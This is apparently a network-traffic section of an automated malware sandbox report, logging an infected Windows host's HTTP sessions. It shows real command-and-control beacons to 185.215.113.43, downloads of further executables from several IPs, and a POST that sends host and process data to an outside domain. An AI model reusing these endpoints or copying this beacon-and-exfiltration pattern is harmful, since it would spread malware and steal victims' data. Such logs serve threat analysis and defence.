Dec 2, 2024 11:21:24.759799004 CET	1289	IN	Data Raw: e5 a9 52 62 c9 45 7d 17 79 c8 df 7b 24 e7 fe 9e 3d a5 99 1e 80 67 54 23 3a ac 4a ec 94 71 61 63 ba 3f d3 3b 1d d1 6b bf 5b ad 60 85 77 97 3d 95 af a8 4c 79 6f fb c6 eb cf 89 c1 37 39 fe 11 94 90 6d 77 ae ba 14 9b 08 c9 f2 6c 70 85 86 19 af d2 f0 Data Ascii: RbE}y{$=gT#:Jqac?;k[`w=Lyo79mwlp5Vz%\|NV`\{u~I4ZKB!gR\|KpG.~f4LVv%HU)m A6s$72[STg_NOL
Dec 2, 2024 11:21:24.759994030 CET	1289	IN	Data Raw: 1e df 0d 97 f5 75 b3 66 aa 72 6b aa 7b 66 af 9d cf 69 0e 48 53 c9 04 9d c6 71 a9 c8 d5 3b 15 08 eb d0 79 09 4f ee a1 66 e8 e4 13 c8 de de 8c 1d 70 ae cf ac ac a1 9a e8 ae 40 16 67 f1 6f 30 2a 15 93 43 35 ec 98 cd d2 f6 a1 d1 da 95 16 d5 15 d6 25 Data Ascii: ufrk{fiHSq;yOfp@go0*C5%l?RzWgO20O}5yp(>$h{m-L@aC3{,+JIWjXeb\|gZmC$^]`M1k?
Dec 2, 2024 11:21:24.760042906 CET	1289	IN	Data Raw: 06 5d 91 3b 72 d1 64 53 5a 6b 8a 84 41 bb f3 f0 ba ad 81 86 f8 85 88 8c 11 8d 68 ae a9 85 f1 f5 7e b8 a9 1a f2 e7 2e 18 c7 9d ce 5b 63 69 d3 79 0d 52 11 29 07 b8 9c bd 15 1e 3c f6 81 7a 46 e6 02 cb f3 7d 24 1b c7 78 e8 7f f4 f2 70 be 46 6f 98 e2 Data Ascii: ];rdSZkAh~.[ciyR)<zF}$xpFoyN,d}Sj&U\|{s*cYAG}Q!'t\TaqXSPm,t<>\W~.i-R_QRm^S_n4Uwc=4#
Dec 2, 2024 11:21:24.760066032 CET	1289	IN	Data Raw: b8 cd b4 70 96 c4 c0 89 f9 f1 b7 44 a9 6d e8 b3 60 34 df 14 8d 64 ed ac e1 05 76 e3 55 e6 bd b1 07 5b 82 6b b0 7f 92 35 ae de d2 73 4f fd b5 5a f4 3f b7 f2 c8 e9 20 2a 8b 6c 90 30 e3 56 5b 4c 6a 2b 6b 9d ea 82 c5 0c c3 dc 39 aa 3e 39 1e 79 4e b6 Data Ascii: pDm`4dvU[k5sOZ? *l0V[Lj+k9>9yN\|IlI}gMq4Y,]<3A+ZcULu6uL.u#Pqxr=[nJPk&,nMSy0V'P,laZW_CVz`O}R,r>\lI
Dec 2, 2024 11:21:25.078371048 CET	1289	IN	Data Raw: 63 d7 16 87 ba 53 10 3c 46 f7 73 dd 76 47 11 be e9 23 2b 6a b2 fd 3a 97 55 ed 97 f3 c0 a0 a6 43 2f e9 7b 11 eb d2 da 5c 6b f1 2b 67 93 d2 21 7e c7 a2 47 da d2 a4 b8 34 66 29 0b c9 63 f0 d7 8b 9c bb b2 f2 e6 61 a9 e5 4b 37 5d e0 99 2f aa 91 07 0c Data Ascii: cS<FsvG#+j:UC/{\k+g!~G4f)caK7]/9.+7VkVoZ+YpevkfwVsovQzg?bq>b-$`LGbw4QOj;^4t=!K~hg}opi6:L[e\|WJb6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49764	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:30.949239016 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 36 37 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011267001&unit=425316567296
Dec 2, 2024 11:21:31.277002096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49765	31.41.244.11	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:31.599864006 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 11:21:31.921355009 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:31 GMT Content-Type: application/octet-stream Content-Length: 4415488 Last-Modified: Mon, 02 Dec 2024 02:44:13 GMT Connection: keep-alive ETag: "674d1efd-436000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 40 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c6 00 00 04 00 00 72 e3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 2d c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 2d c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELPGg(Hv2@ H@prC@ _ssps-H- `sD(@.rsrcpsT(@.idata sV(@ 7sX(@tdkylspaPZ(@kjqxchzy0:C@.taggant0@">C@ [TRUNCATED]
Dec 2, 2024 11:21:31.921554089 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:31.921854019 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:31.921911955 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:31.922027111 CET	1289	IN	Data Raw: df 75 ed bc a1 c0 bf bc 31 b4 a9 a7 43 93 22 e9 0d 90 8f 62 4b b4 52 49 20 12 80 2c 03 3e e5 cb 61 12 1f eb 20 a4 a4 f7 bc 19 d2 08 24 70 dc 5b 7d 17 ef 8a 14 5f 52 03 95 07 5a a1 34 21 19 f3 c3 8b 5a 54 f9 8a 07 9d 8d c6 18 d5 a4 3f c9 b0 d3 07 Data Ascii: u1C"bKRI ,>a $p[}_RZ4!ZT?!(+:P Ot!.LX:&ROojx$S%FTQ\\|6(7P]O$1f.$:Z"JEI]d4e^\|A0a?>
Dec 2, 2024 11:21:31.922071934 CET	1289	IN	Data Raw: 9d 52 91 42 1e f7 54 16 44 00 70 8d 83 c2 cf 38 ac a0 3d 97 54 a4 95 ff b4 5a 7e 34 a7 4f 02 bb 53 8f f2 c2 08 db 01 79 84 46 89 e1 a2 e6 63 f8 82 3d 41 d9 c1 cf ed 57 90 70 65 d4 32 1b e9 1b cb 5b 51 60 ab 68 53 5c 8b 41 0a f8 78 f9 97 7a 2b 85 Data Ascii: RBTDp8=TZ~4OSyFc=AWpe2[Q`hS\Axz+TdhCcLfEC\A[dFPv_%z`h~b\\"E$0a7!@tW?<HwIgo$Z_feo/GMVU!c\|+!$
Dec 2, 2024 11:21:31.922240973 CET	1289	IN	Data Raw: c6 8c 24 41 3f 6d 95 b4 a3 a3 5a ff 23 ba 68 90 40 cb a5 78 65 f2 68 f4 6f 38 5e e9 72 cc 0f ac 5e df 8a 11 06 23 19 00 53 b2 71 1c 42 cf 01 09 68 21 be 8c c4 bd 9b 05 d7 de aa 84 82 a4 19 60 ee 6b 44 e0 98 9b a2 b4 3e 43 61 a8 bb a0 a2 88 5c a2 Data Ascii: $A?mZ#h@xeho8^r^#SqBh!`kD>Ca\P$l`G,JZ&PIx)0 \|cuJj>NIPS9EA)A_M8Hk`iUG_D/fa91k.9ga%2aaN!XV;RPF(uAm#(
Dec 2, 2024 11:21:31.922511101 CET	1289	IN	Data Raw: 60 b5 e6 cf da 58 a1 d3 2c 27 a4 91 14 08 93 7c 55 14 ee d9 54 b4 b9 bf 8e 22 b7 92 17 48 26 fa 92 da a9 6c df d5 87 c9 ca 1a ad 43 ba 93 36 5b df 48 e4 69 cb b7 05 22 69 58 7f 7b 31 8a b8 0b c7 eb 29 4f 7b 4c 85 7b 51 2f 2d b5 e3 c4 8c d8 d3 e3 Data Ascii: `X,'\|UT"H&lC6[Hi"iX{1)O{L{Q/-G.;v-SH/^{#16WsO$Jge?\(:Zt+'$P&hUP*p{J+k?'I(x&FuS@sFY_ey!PP
Dec 2, 2024 11:21:31.922600031 CET	1289	IN	Data Raw: ac 54 4c 83 05 f8 77 f1 a4 b5 c8 85 e8 89 89 5f bc 5f 98 64 db 04 32 ee fb 74 a3 ad a3 38 62 6b f9 72 89 4c 9c e5 a4 49 5b 21 69 47 28 34 21 47 64 d9 df b5 26 00 93 94 99 54 a1 3e a8 f9 49 3f 8c 34 a9 5f 18 c8 61 f6 e7 9f 01 4b 6e 9f 21 cc 9a 2a Data Ascii: TLw__d2t8bkrLI[!iG(4!Gd&T>I?4_aKn!*$>'iM\|~-R@OxB4#cW/I%_O&:_s:1#Mu'JS4h2!;a0SEDelC-cUI@5j_2}\|s
Dec 2, 2024 11:21:31.922733068 CET	1289	IN	Data Raw: 5e 4a 5c 3b a4 d1 64 03 9c f4 83 90 93 a9 86 a3 97 a0 ff a5 52 40 a6 a0 17 e3 03 9c c0 9a c9 b1 e6 5e f6 89 24 47 83 77 71 52 c2 c7 2e c7 9b d4 23 3a c0 19 19 65 e7 fc a3 49 8d 25 88 a2 59 e7 90 f9 10 99 1b 99 71 c2 2b 65 83 24 e6 a2 7b a5 bf b2 Data Ascii: ^J\;dR@^$GwqR.#:eI%Yq+e${CM)OH#M0CZm9/G&lhj,UTJ[~^,K$"L"1?;W<.-S`W0\|`T(aFSv3(~]ivO\|RQ\nb+N=_
Dec 2, 2024 11:21:32.243328094 CET	1289	IN	Data Raw: 5a ac a2 b8 b2 2a 0f 30 3a 5b 7b 5f da 74 da e2 82 0e 5d 20 ec 5f 24 86 49 67 76 40 4f 13 e5 17 43 2d 07 97 39 83 69 24 f7 cc 52 e5 a8 15 c1 c9 31 87 32 c6 05 e3 97 e1 47 3a ee 06 53 f5 8b e1 98 de 85 b0 92 41 84 2b 90 73 aa b5 76 94 34 de a4 32 Data Ascii: Z*0:[{_t] _$Igv@OC-9i$R12G:SA+sv42a^sp2cvn2~"`$JHG"tx=3vV-1\'\|-L9'h{$-UB<h1!Y9T<%1Lnu~njgbw@1hy#IRd:Q}]{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49766	92.63.197.221	80	6336	C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:36.078100920 CET	411	OUT	GET /add?substr=mixtwo&s=three&sub= HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49768	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:41.838526011 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 36 38 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011268001&unit=425316567296
Dec 2, 2024 11:21:42.165173054 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49769	185.215.113.16	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:42.489732981 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 2, 2024 11:21:42.812005043 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:42 GMT Content-Type: application/octet-stream Content-Length: 1888256 Last-Modified: Mon, 02 Dec 2024 09:40:44 GMT Connection: keep-alive ETag: "674d809c-1cd000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 8b ee 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 03 00 00 b6 00 00 00 00 00 00 00 d0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4b 00 00 04 00 00 af 0e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c f0 04 00 70 00 00 00 00 e0 04 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELLgJ@K@\p @.rsrc.@.idata 0@ @+2@bjuxpwog@0v4@qivmlrgfJ@.taggant0J"@ [TRUNCATED]
Dec 2, 2024 11:21:42.812231064 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:42.812254906 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:42.812434912 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:42.812585115 CET	1289	IN	Data Raw: f9 29 17 8f 2b 94 18 c5 87 b3 50 37 b2 42 57 32 9b 17 16 84 1a b2 ba 0a 87 0f 1b 3a 76 67 ec ac 8e c2 ef 75 7e c8 18 5b 2b 56 8c 57 a5 cb e8 6e 4b 84 ff 6b 3d 3d fa b4 4e db e5 c9 76 24 1e 3f f5 01 f4 2d 3a dd 4d 6e db cb 4f 26 ab d9 fe 0b 94 64 Data Ascii: )+P7BW2:vgu~[+VWnKk==Nv$?-:MnO&dkyv?2y8bc!C35e\O$Z>F&Z]I\|`hb("I%5"aX;T#IQR[=a41ehMe6`l6&FK\|Bc1V!?b8
Dec 2, 2024 11:21:42.812621117 CET	1289	IN	Data Raw: ae 80 a6 69 a9 6f 57 65 42 64 e8 30 e6 88 39 3c 1f 1d 88 cf dc 39 a7 a6 e5 24 37 ff e3 20 39 d2 00 27 16 32 2b 59 df be fb 71 e0 bf ee 80 55 15 2b c4 bd d5 3b 5e dc 88 d1 f3 80 1c e0 7f fa 3e 60 88 c1 6e 22 9b 5e 84 f9 f6 61 85 fc e4 b4 72 5a 2a Data Ascii: ioWeBd09<9$7 9'2+YqU+;^>`n"^arZ*P8gX.N\|uZ,J)` _g?Hrj9O7tTWK5ID/$)HdH5McPiGv'n1hF'\jKA,'OI.K-(,jT._C8d
Dec 2, 2024 11:21:42.812638998 CET	1289	IN	Data Raw: 43 46 c2 9c e2 40 66 52 8a c4 46 fe ca 0a 07 4b c7 7a fc e1 81 5a aa b5 31 9a 8b fe bb 4e bc b6 7d 09 09 7b 36 60 56 3c 11 3b 7c ca f8 57 24 86 63 26 3e 27 e5 8e 6e 02 aa 0f 3b 64 cf 4d f6 23 11 cc 94 29 f7 fe 42 80 ec 2a 4f 38 93 c6 6f c4 44 62 Data Ascii: CF@fRFKzZ1N}{6`V<;\|W$c&>'n;dM#)BO8oDbVU6]x'Jo,O9<+v.0?0T)c0qs[%>}Z'Z+9#MSP<@u>I,Q&N`jV}ooAe
Dec 2, 2024 11:21:42.812812090 CET	1289	IN	Data Raw: 12 78 4b 71 7a e4 c5 7d 6a b4 bd fb 07 d9 5b 72 7d c6 f2 f5 9d fd 0c 80 4d c2 ee 2c 11 45 d4 1e a8 6f fc a0 30 d7 09 be 79 a7 2c 65 81 a1 e3 10 c2 16 d1 7b 7b 30 93 94 50 46 ad 8c 22 56 6e 72 2e 7e c2 42 e8 6b 5f 12 b6 7c 95 ca 86 7d b1 98 24 92 Data Ascii: xKqz}j[r}M,Eo0y,e{{0PF"Vnr.~Bk_\|}$B2V'3Ta>kd=%{:'C4vk=fCL]\CS{xgz2e`,Eub~Hwmx>6N[z!zJ]@]ag?D9HUK+]~(
Dec 2, 2024 11:21:42.812876940 CET	1289	IN	Data Raw: 4c d6 2c 0e 85 fe 1f 0c 3a 10 47 6e 82 02 44 85 77 5c 2c 6a c2 0a fe de b4 bb 84 4e 76 67 84 80 74 c8 c1 18 7e 51 bb 7e d6 09 f8 0b ca 66 20 46 1f cb 28 08 ea a2 a9 f8 15 56 73 2f 06 b4 2d 68 55 f9 01 58 dd fe 6c c5 88 e7 fc 2b 47 eb e2 18 4e 88 Data Ascii: L,:GnDw\,jNvgt~Q~f F(Vs/-hUXl+GNj;=lK$n~s`BwMWz6B5}o9AorJKL,{Ds~\|~\|Kk{V&MJ$;omSw)7WT:`:\|;/m;t>-(z,M:Db''>53&'}HX<
Dec 2, 2024 11:21:42.813040972 CET	1289	IN	Data Raw: 97 35 76 e3 ca 49 43 1f 38 44 b8 b7 62 41 65 47 d1 19 95 16 5a 08 d0 b6 da 25 f9 b1 80 c8 bf 3e e6 e3 3d 07 e0 49 25 16 6f b8 6e 9a 25 3d 9e 83 7e 3d 3d 39 08 63 e9 a7 ee 84 6a 9b fa 73 5a be 12 dd 8b 7c c5 3c 5b ed 46 3d 55 c2 45 fe 3c 21 44 dc Data Ascii: 5vIC8DbAeGZ%>=I%on%=~==9cjsZ\|<[F=UE<!D@)5UEb!z\pq*s$epupd9;W@)Exo9v=}juEu+vC2TM/z.m01uOyNJ&;NQP><4N]AWp-O
Dec 2, 2024 11:21:43.135343075 CET	1289	IN	Data Raw: 3c 80 81 75 07 14 d9 f7 1b 6a 26 e2 82 36 5f 19 a9 f8 5e 03 19 40 01 0f 0b d5 91 36 62 d8 19 15 8d 99 26 22 9a 4c d6 64 88 2b 26 77 25 a6 48 07 4a f6 90 3a bd 42 a5 32 46 22 9f cc 5c 53 c8 bc 4b fa 7b 7a 64 34 04 a4 45 42 87 28 0e 08 06 66 b1 64 Data Ascii: <uj&6_^@6b&"Ld+&w%HJ:B2F"\SK{zd4EB(fdW%b5@^>W[T?C?gL9r4K(NZS>L*+'yS~^l@:\)?<=r:Z50I96/&vsSg:nfeB'F2??KTr[V4["5%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49770	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:44.279124022 CET	2578	OUT	POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1 Host: home.fvtekx5pt.top Accept: / Content-Type: application/json Content-Length: 704524 Data Raw: 7b 20 22 69 70 22 3a 20 22 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 33 31 33 34 39 30 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 31 36 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 31 35 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 34 37 36 2e 30 2c 20 22 66 72 65 65 22 3a 20 34 32 31 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 39 32 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 38 30 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 [TRUNCATED] Data Ascii: { "ip": "173.244.56.169", "current_time": "1733134901", "Num_processor": 16, "Num_ram": 15, "drivers": [ { "name": "C:\\", "all": 476.0, "free": 421.0 } ], "Num_displays": 1, "resolution_x": 1920, "resolution_y": 1080, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 172 }, { "name": "smss.exe", "pid": 516 }, { "name": "csrss.exe", "pid": 700 }, { "name": "wininit.exe", "pid": 796 }, { "name": "csrss.exe", "pid": 804 }, { "name": "winlogon.exe", "pid": 896 }, { "name": "services.exe", "pid": 916 }, { "name": "lsass.exe", "pid": 960 }, { "name": "svchost.exe", "pid": 808 }, { "name": "fontdrvhost.exe", "pid": 572 }, { "name": "fontdrvhost.exe", "pid": 592 }, { "name": "svchost.exe", "pid": 1076 }, { "name": "svchost.exe", "pid": 1128 }, { "name": "dwm.exe", "pid": 1188 }, { "name": "svchost.exe", "pid": 1272 }, { "name": "svchost.exe", "pid": 1328 }, { "name": "svchost.exe", "pid": 1360 }, { "name": "svchost.ex [TRUNCATED]
Dec 2, 2024 11:21:44.279145002 CET	2578	OUT	Data Raw: 70 70 2e 49 47 43 43 2e 57 69 6e 53 65 72 76 69 63 65 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 31 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 32 30 20 7d 2c 20 7b 20 Data Ascii: pp.IGCC.WinService.exe", "pid": 3120 }, { "name": "svchost.exe", "pid": 3220 }, { "name": "svchost.exe", "pid": 3288 }, { "name": "OfficeClickToRun.exe", "pid": 3296 }, { "name": "svchost.exe", "pid": 3392 }, { "name": "svchost.exe", "pid": 35
Dec 2, 2024 11:21:44.279196024 CET	7734	OUT	Data Raw: 65 22 2c 20 22 70 69 64 22 3a 20 32 30 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 72 6f 7a 4a 4b 50 51 54 7a 58 71 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 32 37 31 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 72 6f 7a 4a 4b 50 Data Ascii: e", "pid": 2040 }, { "name": "CrozJKPQTzXq.exe", "pid": 2716 }, { "name": "CrozJKPQTzXq.exe", "pid": 3112 }, { "name": "CrozJKPQTzXq.exe", "pid": 2420 }, { "name": "CrozJKPQTzXq.exe", "pid": 3380 }, { "name": "CrozJKPQTzXq.exe", "pid": 6008 },
Dec 2, 2024 11:21:44.570827961 CET	10312	OUT	Data Raw: 69 33 6a 54 39 45 54 78 5a 38 44 4d 6b 77 66 45 76 45 71 79 44 50 75 48 38 52 69 50 71 75 4c 7a 66 68 44 46 35 70 6d 4f 46 79 58 45 56 4a 51 6a 68 59 5a 7a 48 4d 38 6d 79 62 45 59 53 6e 6a 70 79 64 4c 43 34 71 46 43 74 67 35 56 31 48 44 56 63 52 Data Ascii: i3jT9ETxZ8DMkwfEvEqyDPuH8RiPquLzfhDF5pmOFyXEVJQjhYZzHM8mybEYSnjpydLC4qFCtg5V1HDVcRRxNfC0a\/msk0Mn+uh\/Hp6d\/6VE1hFIf3T7fr04\/x\/nVCpU6fj\/QV\/QJ\/MfvLZq\/o\/wDMZJpc0f3PnH+frVN7aVPvJ\/X34\/wHPtWxHcTR9H+v+f19M9qtC8PR0Ev9P8\/55rP2fn+H\/BF9Yqwatr5
Dec 2, 2024 11:21:44.571501970 CET	15468	OUT	Data Raw: 47 66 77 35 34 75 38 57 36 69 75 6d 36 50 70 76 77 50 38 4f 62 6e 62 35 37 6d 38 75 58 38 63 5c 2f 45 6f 32 2b 6e 61 66 62 6b 71 39 33 71 46 32 79 6c 4c 65 33 51 6a 4f 48 6c 6c 65 4b 33 69 6d 6d 6a 5c 2f 46 62 34 43 5c 2f 74 50 38 41 67 6a 34 35 Data Ascii: Gfw54u8W6ium6PpvwP8Obnb57m8uX8c\/Eo2+nafbkq93qF2ylLe3QjOHlleK3immj\/Fb4C\/tP8Agj45X2o6Ha203hjxTZmS4tNA1S8guJdX0uMAvfaZdRxQxzz22Ga\/sFTz7WELcRtc24mlg\/z\/APD3wN8NeIODOF84ziGZf2rm+WQxWIjSzSdCE6jqVE+SlGDjTi+VcseZczTtdp2\/1K8S\/H\/x+yjxC46ybhDD5XV
